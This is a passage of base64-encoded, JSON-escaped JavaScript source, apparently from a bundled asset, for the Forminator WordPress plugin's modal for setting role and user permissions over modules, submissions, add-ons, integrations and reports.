1aS10b29sdGlwJyApO1xuXHRcdFx0XHR0aGlzLiRzYXZlQnRuLnByb3AoICdkaXNhYmxlZCcsIHRydWUgKTtcblx0XHRcdH1cblx0XHR9XG5cblx0XHRyZXR1cm4ge1xuXHRcdFx0aXNWYWxpZDogaXNWYWxpZCxcblx0XHRcdHZhbGlkYXRpb25FcnJvcjogdmFsaWRhdGlvbkVycm9yLFxuXHRcdH07XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0bGV0IHRpdGxlVGFnID0gJycsXG5cdFx0XHRlZGl0Tm90aWNlID0gJycsXG5cdFx0XHRzYXZlQnRuID0gdHJhbnNsYXRlKCAnQWRkIFBlcm1pc3Npb25zJyApO1xuXG5cdFx0Y29uc3QgaXNOZXcgPSBpc1RydWUoIHRoaXMubW9kYWxEYXRhLm5ldyApO1xuXHRcdGNvbnN0IG1vZGFsVGl0bGUgPSB0cmFuc2xhdGUoIGlzTmV3ID8gJ0FkZCBQZXJtaXNzaW9ucycgOiAnRWRpdCBQZXJtaXNzaW9ucycgKTtcblx0XHRjb25zdCBwZXJtaXNzaW9uVHlwZSA9ICEgXy5pc1VuZGVmaW5lZCggdGhpcy5tb2RhbERhdGEucGVybWlzc2lvbl90eXBlICkgP1xuXHRcdFx0dGhpcy5tb2RhbERhdGEucGVybWlzc2lvbl90eXBlIDpcblx0XHRcdCdyb2xlJztcblxuXHRcdC8vIFNldCB0aGUgdGV4dCBkZXBlbmRpbmcgb24gcGVybWlzc2lvblR5cGUuXG5cdFx0aWYgKCAhIGlzTmV3ICkge1xuXHRcdFx0c2F2ZUJ0biA9IHRyYW5zbGF0ZSggJ1VwZGF0ZSBQZXJtaXNzaW9ucycgKTtcblxuXHRcdFx0aWYgKCAncm9sZScgPT09IHBlcm1pc3Npb25UeXBlICkge1xuXHRcdFx0XHR0aXRsZVRhZyA9IHRyYW5zbGF0ZSggJ1VzZXIgUm9sZScgKTtcblx0XHRcdFx0ZWRpdE5vdGljZSA9IHRyYW5zbGF0ZShcblx0XHRcdFx0XHQnWW91IGFyZSBlZGl0aW5nIHBlcm1pc3Npb25zIGZvciB0aGUge3tifX0lKHJvbGUpc3t7L2J9fSB1c2VyIHJvbGUuJyxcblx0XHRcdFx0XHR7XG5cdFx0XHRcdFx0XHRhcmdzOiB7XG5cdFx0XHRcdFx0XHRcdHJvbGU6IHRoaXMudXNlclJvbGVzWyB0aGlzLm1vZGFsRGF0YS51c2VyX3JvbGUgXS5uYW1lLFxuXHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHRcdGNvbXBvbmVudHM6IHtcblx0XHRcdFx0XHRcdFx0YjogPGIvPixcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9LFxuXHRcdFx0XHQpO1xuXHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0Y29uc3QgdXNlcklkcyA9IHRoaXMuc3RhdGUuc3BlY2lmaWNfdXNlcjtcblx0XHRcdFx0Y29uc3QgbnVtVXNlcnMgPSB0aGlzLnN0YXRlLnNwZWNpZmljX3VzZXIubGVuZ3RoO1xuXHRcdFx0XHRjb25zdCB1c2VyTmFtZSA9ICEgXy5pc1VuZGVmaW5lZCggdGhpcy5zdGF0ZS51c2VyX2luZm9bIHVzZXJJZHNbMF0gXSApID8gdGhpcy5zdGF0ZS51c2VyX2luZm9bIHVzZXJJZHNbMF0gXS5uYW1lIDogdGhpcy5zdGF0ZS5jdXJyZW50X3VzZXIubmFtZTtcblx0XHRcdFx0Y29uc3QgdXNlckVtYWlsID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnN0YXRlLnVzZXJfaW5mb1sgdXNlcklkc1swXSBdICkgPyB0aGlzLnN0YXRlLnVzZXJfaW5mb1sgdXNlcklkc1swXSBdLmVtYWlsIDogdGhpcy5zdGF0ZS5jdXJyZW50X3VzZXIuZW1haWw7XG5cblx0XHRcdFx0dGl0bGVUYWcgPSB0cmFuc2xhdGUoICdTcGVjaWZpYyBVc2VyJyApO1xuXHRcdFx0XHRlZGl0Tm90aWNlID0gdHJhbnNsYXRlKFxuXHRcdFx0XHRcdCdZb3UgYXJlIGVkaXRpbmcgcGVybWlzc2lvbnMgZm9yIHt7Yn19JSh1c2VyTmFtZSlze3svYn19Jyxcblx0XHRcdFx0XHR7XG5cdFx0XHRcdFx0XHRhcmdzOiB7XG5cdFx0XHRcdFx0XHRcdHVzZXJOYW1lOiB1c2VyTmFtZSxcblx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHRjb21wb25lbnRzOiB7XG5cdFx0XHRcdFx0XHRcdGI6IDxiLz4sXG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fSxcblx0XHRcdFx0KTtcblxuXHRcdFx0XHQvLyBFbmQgb2Ygc3RhdGVtZW50IGRlcGVuZHMgb24gdGhlIG51bWJlciBvZiB1c2Vycy5cblx0XHRcdFx0aWYgKCBudW1Vc2VycyA+IDEgKSB7XG5cdFx0XHRcdFx0ZWRpdE5vdGljZSA9IGVkaXROb3RpY2UuY29uY2F0KFxuXHRcdFx0XHRcdFx0JyAoJyArIHVzZXJFbWFpbCArICcpICsgJyArXG5cdFx0XHRcdFx0XHQoIG51bVVzZXJzIC0gMSApXG5cdFx0XHRcdFx0KTtcblxuXHRcdFx0XHRcdGlmICggbnVtVXNlcnMgPiAyICkge1xuXHRcdFx0XHRcdFx0ZWRpdE5vdGljZSA9IGVkaXROb3RpY2UuY29uY2F0KCB0cmFuc2xhdGUoICcgb3RoZXJzLicgKSApO1xuXHRcdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0XHRlZGl0Tm90aWNlID0gZWRpdE5vdGljZS5jb25jYXQoIHRyYW5zbGF0ZSggJyBvdGhlci4nICkgKTtcblx0XHRcdFx0XHR9XG5cblx0XHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0XHRlZGl0Tm90aWNlID0gZWRpdE5vdGljZS5jb25jYXQoICcgKCcgKyB1c2VyRW1haWwgKyAnKS4nICk7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXG5cdFx0XHRcdDxNb2RhbEhlYWRlclxuXHRcdFx0XHRcdGNsb3NlVHlwZT1cImljb25cIlxuXHRcdFx0XHRcdGNsb3NlTW9kYWw9eyB0aGlzLmNsb3NlTW9kYWwgfVxuXHRcdFx0XHQ+XG5cblx0XHRcdFx0XHQ8TW9kYWxUaXRsZVxuXHRcdFx0XHRcdFx0aWQ9XCJwZXJtaXNzaW9ucy1tb2RhbC10aXRsZVwiXG5cdFx0XHRcdFx0XHRsYWJlbD17IG1vZGFsVGl0bGUgfVxuXHRcdFx0XHRcdFx0dGFnPXsgdGl0bGVUYWcgfVxuXHRcdFx0XHRcdC8+XG5cblx0XHRcdFx0PC9Nb2RhbEhlYWRlcj5cblxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3gtYm9keVwiPlxuXG5cdFx0XHRcdFx0eyBpc05ldyAmJlxuXHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1zZXR0aW5ncy1yb3dcIj5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1zZXR0aW5ncy1jb2wtMTJcIj5cblx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLXNldHRpbmdzLWxhYmVsIHN1aS1kYXJrXCI+eyB0cmFuc2xhdGUoICdVc2VyIFJvbGUvVXNlcnMnICkgfTwvc3Bhbj5cblx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uXCI+XG5cdFx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHRcdFx0XHQnQ2hvb3NlIHdoaWNoIHVzZXIgcm9sZSBvciBpbmRpdmlkdWFsIHVzZXIocykgc2hvdWxkIGhhdmUgYWNjZXNzICcgK1xuXHRcdFx0XHRcdFx0XHRcdFx0J3RvIHRoZSBGb3JtaW5hdG9yIGZlYXR1cmVzIHNlbGVjdGVkIGluIHRoZSBQZXJtaXNzaW9ucyBzZWN0aW9uIGJlbG93Lidcblx0XHRcdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHRcdFx0PC9zcGFuPlxuXG5cdFx0XHRcdFx0XHRcdDxSYWRpb1RhYnNcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdHNldHRpbmdzPXsgdGhpcy5zdGF0ZSB9XG5cdFx0XHRcdFx0XHRcdFx0dXBkYXRlUHJvcGVydHk9eyB0aGlzLnVwZGF0ZVByb3BlcnR5IH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT1cInBlcm1pc3Npb25fdHlwZVwiXG5cdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHR7ICEgXy5pc0VtcHR5KCB0aGlzLnVzZXJSb2xlcyApICYmXG5cdFx0XHRcdFx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVXNlciBSb2xlJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlPVwicm9sZVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRib3hDbGFzcz1cInN1aS10YWItYm94ZWRcIlxuXHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdDxTdWlTZWxlY3Rcblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0c2V0dGluZ3M9eyB0aGlzLnN0YXRlIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0dXBkYXRlUHJvcGVydHk9eyB0aGlzLnVwZGF0ZVByb3BlcnR5IH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJ1c2VyX3JvbGVcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0Nob29zZSB1c2VyIHJvbGUnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9eyB0aGlzLmRlZmF1bHRSb2xlIH1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0eyBfLm1hcCggdGhpcy51c2VyUm9sZXMsICggcm9sZSwgaWQgKSA9PiAoXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0PG9wdGlvbiB2YWx1ZT17IGlkIH0ga2V5PXsgaWQgfT5cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgcm9sZS5uYW1lIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQ8L29wdGlvbj5cblx0XHRcdFx0XHRcdFx0XHRcdFx0KSApIH1cblx0XHRcdFx0XHRcdFx0XHRcdDwvU3VpU2VsZWN0PlxuXHRcdFx0XHRcdFx0XHRcdFx0PFN1aVRhZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0c2V0dGluZ3M9eyB0aGlzLnN0YXRlIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0dXBkYXRlUHJvcGVydHk9eyB0aGlzLnVwZGF0ZVByb3BlcnR5IH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJleGNsdWRlX3VzZXJzXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0c3R5bGU9e3sgbWFyZ2luQm90dG9tOicxMHB4JyB9fVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRvcHRpb25zPXsgdGhpcy5nZXRVc2VyVGFnc09wdGlvbnMoKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRXhjbHVkZSB1c2VycycgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uXCI+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKFxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdVc2UgdGhpcyBvcHRpb24gdG8gZXhjbHVkZSBzcGVjaWZpYyAnICtcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndXNlcnMgd2l0aCB0aGUgc2VsZWN0ZWQgcm9sZSBmcm9tIGFjY2Vzc2luZyBGb3JtaW5hdG9yLidcblx0XHRcdFx0XHRcdFx0XHRcdFx0KSB9XG5cdFx0XHRcdFx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdFx0XHRcdFx0PC9Db250YWluZXI+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1NwZWNpZmljIFVzZXInICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0dmFsdWU9XCJzcGVjaWZpY1wiXG5cdFx0XHRcdFx0XHRcdFx0XHRib3hDbGFzcz1cInN1aS10YWItYm94ZWRcIlxuXHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdDxTdWlUYWdzXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHNldHRpbmdzPXsgdGhpcy5zdGF0ZSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHVwZGF0ZVByb3BlcnR5PXsgdGhpcy51cGRhdGVQcm9wZXJ0eSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwic3BlY2lmaWNfdXNlclwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHN0eWxlPXt7IG1hcmdpbkJvdHRvbTonMTBweCcgfX1cblx0XHRcdFx0XHRcdFx0XHRcdFx0b3B0aW9ucz17IHRoaXMuZ2V0VXNlclRhZ3NPcHRpb25zKCAnc3BlY2lmaWNfdXNlcicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQ2hvb3NlIHVzZXJzJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdFx0XHRcdFx0PC9SYWRpb1RhYnM+XG5cdFx0XHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHR7ICEgaXNOZXcgJiZcblx0XHRcdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdFx0XHQ8ZGl2XG5cdFx0XHRcdFx0XHRcdHJvbGU9XCJhbGVydFwiXG5cdFx0XHRcdFx0XHRcdGNsYXNzTmFtZT1cInN1aS1ub3RpY2Ugc3VpLWFjdGl2ZVwiXG5cdFx0XHRcdFx0XHRcdHN0eWxlPXsgeyBkaXNwbGF5OiAnYmxvY2snIH0gfVxuXHRcdFx0XHRcdFx0XHRhcmlhLWxpdmU9XCJhc3NlcnRpdmVcIlxuXHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ub3RpY2UtY29udGVudFwiPlxuXHRcdFx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLW5vdGljZS1tZXNzYWdlXCI+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8c3BhblxuXHRcdFx0XHRcdFx0XHRcdFx0XHRjbGFzc05hbWU9XCJzdWktbm90aWNlLWljb24gc3VpLWljb24taW5mb1wiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGFyaWEtaGlkZGVuPVwidHJ1ZVwiXG5cdFx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHRcdFx0PHA+eyBlZGl0Tm90aWNlIH08L3A+XG5cdFx0XHRcdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cblx0XHRcdFx0XHRcdHsgJ3JvbGUnID09PSBwZXJtaXNzaW9uVHlwZSAmJlxuXHRcdFx0XHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktc2V0dGluZ3MtbGFiZWwgc3VpLWRhcmtcIj57IHRyYW5zbGF0ZSggJ0V4Y2x1ZGUgdXNlcnMnICkgfTwvc3Bhbj5cblx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uXCIgc3R5bGU9e3sgbWFyZ2luQm90dG9tOicxMHB4JyB9fT5cblx0XHRcdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZShcblx0XHRcdFx0XHRcdFx0XHRcdCdVc2UgdGhpcyBvcHRpb24gdG8gZXhjbHVkZSBzcGVjaWZpYyAnICtcblx0XHRcdFx0XHRcdFx0XHRcdCd1c2VycyB3aXRoIHRoZSBzZWxlY3RlZCByb2xlIGZyb20gYWNjZXNzaW5nIEZvcm1pbmF0b3IuJ1xuXHRcdFx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdFx0XHRcdDxTdWlUYWdzXG5cdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRzZXR0aW5ncz17IHRoaXMuc3RhdGUgfVxuXHRcdFx0XHRcdFx0XHRcdHVwZGF0ZVByb3BlcnR5PXsgdGhpcy51cGRhdGVQcm9wZXJ0eSB9XG5cdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJleGNsdWRlX3VzZXJzXCJcblx0XHRcdFx0XHRcdFx0XHRvcHRpb25zPXsgdGhpcy5nZXRVc2VyVGFnc09wdGlvbnMoKSB9XG5cdFx0XHRcdFx0XHRcdFx0Ly8gbGFiZWw9eyB0cmFuc2xhdGUoICdFeGNsdWRlIHVzZXJzJyApIH1cblx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHRcdHsgJ3NwZWNpZmljJyA9PT0gcGVybWlzc2lvblR5cGUgJiZcblx0XHRcdFx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLXNldHRpbmdzLWxhYmVsIHN1aS1kYXJrXCI+eyB0cmFuc2xhdGUoICdDaG9vc2UgdXNlcnMnICkgfTwvc3Bhbj5cblx0XHRcdFx0XHRcdFx0PFN1aVRhZ3Ncblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdHNldHRpbmdzPXsgdGhpcy5zdGF0ZSB9XG5cdFx0XHRcdFx0XHRcdFx0dXBkYXRlUHJvcGVydHk9eyB0aGlzLnVwZGF0ZVByb3BlcnR5IH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT1cInNwZWNpZmljX3VzZXJcIlxuXHRcdFx0XHRcdFx0XHRcdHN0eWxlPXt7IG1hcmdpbkJvdHRvbTonMTBweCcgfX1cblx0XHRcdFx0XHRcdFx0XHRvcHRpb25zPXsgdGhpcy5nZXRVc2VyVGFnc09wdGlvbnMoICdzcGVjaWZpY191c2VyJyApIH1cblx0XHRcdFx0XHRcdFx0XHQvLyBsYWJlbD17IHRyYW5zbGF0ZSggJ0Nob29zZSB1c2VycycgKSB9XG5cdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdFx0PGhyLz5cblx0XHRcdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1zZXR0aW5ncy1yb3dcIj5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1zZXR0aW5ncy1jb2xcIj5cblx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLXNldHRpbmdzLWxhYmVsIHN1aS1kYXJrXCI+eyB0cmFuc2xhdGUoICdQZXJtaXNzaW9ucycgKSB9PC9zcGFuPlxuXHRcdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZGVzY3JpcHRpb25cIj5cblx0XHRcdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZShcblx0XHRcdFx0XHRcdFx0XHRcdCdDaG9vc2Ugd2hhdCBwZXJtaXNzaW9ucyB0aGUgc2VsZWN0ZWQgdXNlciByb2xlIG9yIHVzZXJzIHdpbGwgaGF2ZS4nXG5cdFx0XHRcdFx0XHRcdFx0KSB9XG5cdFx0XHRcdFx0XHRcdDwvc3Bhbj5cblxuXHRcdFx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1mb3JtLWZpZWxkIHBlcm1pc3Npb25zLWNoZWNrYm94ZXNcIj5cblx0XHRcdFx0XHRcdFx0XHQ8Q2hlY2tib3hcblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRzZXR0aW5ncz17IHRoaXMuc3RhdGUgfVxuXHRcdFx0XHRcdFx0XHRcdFx0dXBkYXRlUHJvcGVydHk9eyB0aGlzLnVwZGF0ZVByb3BlcnR5IH1cblx0XHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwibWFuYWdlX2Zvcm1pbmF0b3JfbW9kdWxlc1wiXG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ01vZHVsZXMnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0aXRlbUNsYXNzPVwic3VpLWNoZWNrYm94LXN0YWNrZWQgc3VpLWNoZWNrYm94LXNtXCJcblx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1kZXNjcmlwdGlvbiBwZXJtaXNzaW9uLWRlc2NyaXB0aW9uXCI+XG5cdFx0XHRcdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZShcblx0XHRcdFx0XHRcdFx0XHRcdFx0J0NyZWF0ZSwgZWRpdCwgYW5kIGRlbGV0ZSBtb2R1bGVzIChGb3JtcywgUG9sbHMsIFF1aXp6ZXMpLidcblx0XHRcdFx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdFx0XHRcdDwvc3Bhbj5cblxuXHRcdFx0XHRcdFx0XHRcdDxDaGVja2JveFxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdHNldHRpbmdzPXsgdGhpcy5zdGF0ZSB9XG5cdFx0XHRcdFx0XHRcdFx0XHR1cGRhdGVQcm9wZXJ0eT17IHRoaXMudXBkYXRlUHJvcGVydHkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJtYW5hZ2VfZm9ybWluYXRvcl9zdWJtaXNzaW9uc1wiXG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1N1Ym1pc3Npb25zJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdGl0ZW1DbGFzcz1cInN1aS1jaGVja2JveC1zdGFja2VkIHN1aS1jaGVja2JveC1zbVwiXG5cdFx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZGVzY3JpcHRpb24gcGVybWlzc2lvbi1kZXNjcmlwdGlvblwiPlxuXHRcdFx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCdBY2Nlc3MsIGV4cG9ydCwgYW5kIGRlbGV0ZSBzdWJtaXNzaW9ucy4nXG5cdFx0XHRcdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHRcdFx0XHQ8L3NwYW4+XG5cblx0XHRcdFx0XHRcdFx0XHQ8Q2hlY2tib3hcblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRzZXR0aW5ncz17IHRoaXMuc3RhdGUgfVxuXHRcdFx0XHRcdFx0XHRcdFx0dXBkYXRlUHJvcGVydHk9eyB0aGlzLnVwZGF0ZVByb3BlcnR5IH1cblx0XHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwibWFuYWdlX2Zvcm1pbmF0b3JfYWRkb25zXCJcblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQWRkLW9ucycgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRpdGVtQ2xhc3M9XCJzdWktY2hlY2tib3gtc3RhY2tlZCBzdWktY2hlY2tib3gtc21cIlxuXHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uIHBlcm1pc3Npb24tZGVzY3JpcHRpb25cIj5cblx0XHRcdFx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKFxuXHRcdFx0XHRcdFx0XHRcdFx0XHQnVmlldywgaW5zdGFsbC91bmluc3RhbGwsIGFuZCBjb25maWd1cmUgQWRkLW9ucy4nXG5cdFx0XHRcdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHRcdFx0XHQ8L3NwYW4+XG5cblx0XHRcdFx0XHRcdFx0XHQ8Q2hlY2tib3hcblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRzZXR0aW5ncz17IHRoaXMuc3RhdGUgfVxuXHRcdFx0XHRcdFx0XHRcdFx0dXBkYXRlUHJvcGVydHk9eyB0aGlzLnVwZGF0ZVByb3BlcnR5IH1cblx0XHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PVwibWFuYWdlX2Zvcm1pbmF0b3JfaW50ZWdyYXRpb25zXCJcblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSW50ZWdyYXRpb25zJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdGl0ZW1DbGFzcz1cInN1aS1jaGVja2JveC1zdGFja2VkIHN1aS1jaGVja2JveC1zbVwiXG5cdFx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZGVzY3JpcHRpb24gcGVybWlzc2lvbi1kZXNjcmlwdGlvblwiPlxuXHRcdFx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCdBY2Nlc3MgYW5kIGNvbmZpZ3VyZSBnbG9iYWwgaW50ZWdyYXRpb25zLidcblx0XHRcdFx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdFx0XHRcdDwvc3Bhbj5cblxuXHRcdFx0XHRcdFx0XHRcdDxDaGVja2JveFxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdHNldHRpbmdzPXsgdGhpcy5zdGF0ZSB9XG5cdFx0XHRcdFx0XHRcdFx0XHR1cGRhdGVQcm9wZXJ0eT17IHRoaXMudXBkYXRlUHJvcGVydHkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9XCJtYW5hZ2VfZm9ybWluYXRvcl9yZXBvcnRzXCJcblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUmVwb3J0cycgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRpdGVtQ2xhc3M9XCJzdWktY2hlY2tib3gtc3RhY2tlZCBzdWktY2hlY2tib3gtc21cIlxuXHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uIHBlcm1pc3Npb24tZGVzY3JpcHRpb25cIj5cblx0XHRcdFx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKFxuXHRcdFx0XHRcdFx0XHRcdFx0XHQnVmlldyByZXBvcnRzIGFuZCBzY2hlZHVsZSBlbWFpbCBub3RpZmljYXRpb25zIGZvciBtb2R1bGVzLidcblx0XHRcdFx0XHRcdFx0XHRcdCkgfVx